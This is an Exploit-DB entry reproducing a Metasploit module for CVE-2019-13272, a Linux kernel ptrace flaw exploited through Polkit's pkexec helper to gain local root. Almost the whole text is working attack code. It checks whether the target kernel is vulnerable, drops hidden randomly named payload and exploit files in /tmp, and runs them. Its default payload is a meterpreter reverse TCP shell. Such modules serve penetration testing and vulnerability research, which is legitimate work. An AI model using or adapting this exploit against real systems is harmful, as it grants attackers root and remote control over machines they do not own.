Exploit-DB #47543
Description: Linux Polkit - pkexec helper PTRACE_TRACEME local root (Metasploit)
Type: local
Platform: linux
Date: 2019-10-24
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
      'Description'   => %q{
          This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
          kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
          not over an SSH session, as it requires execution from within the context of
          a user with an active Polkit agent.
          In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
          the recording of the credentials of a process that wants to create a ptrace
          relationship, which allows local users to obtain root access by leveraging
          certain scenarios with a parent-child process relationship, where a parent drops
          privileges and calls execve (potentially allowing control by an attacker). One
          contributing factor is an object lifetime issue (which can also cause a panic).
          Another contributing factor is incorrect marking of a ptrace relationship as
          privileged, which is exploitable through (for example) Polkit's pkexec helper
          with PTRACE_TRACEME.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'Jann Horn',    # Discovery and exploit
          'bcoles',       # Metasploit module
          'timwr',        # Metasploit module
      ],
      'References'     => [
          ['CVE', '2019-13272'],
          ['EDB', '47133'],
          ['PACKETSTORM', '153663'],
          ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
      ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X64 ],
      'Targets'        => [[ 'Auto', {} ]],
      'DefaultOptions' =>
        {
          'Payload'     => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true,
        },
      'DisclosureDate' => 'Jul 4 2019'))
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def check
    # Introduced in 4.10, but also backported
    # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
    release = kernel_release
    v = Gem::Version.new release.split('-').first

    if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
      vprint_error "Kernel version #{release} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Kernel version #{release} appears to be vulnerable"

    unless command_exists? 'pkexec'
      vprint_error 'pkexec is not installed'
      return CheckCode::Safe
    end
    vprint_good 'pkexec is installed'

    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
    if loginctl_output =~ /Remote=yes/
      print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
    end

    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
    upload_and_chmodx(payload_file, generate_payload_exe)
    register_file_for_cleanup(payload_file)

    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
    end
    register_file_for_cleanup(exploit_file)

    print_status("Executing exploit '#{exploit_file}'")
    result = cmd_exec("echo #{payload_file} | #{exploit_file}")
    print_status("Exploit result:\n#{result}")
  end
end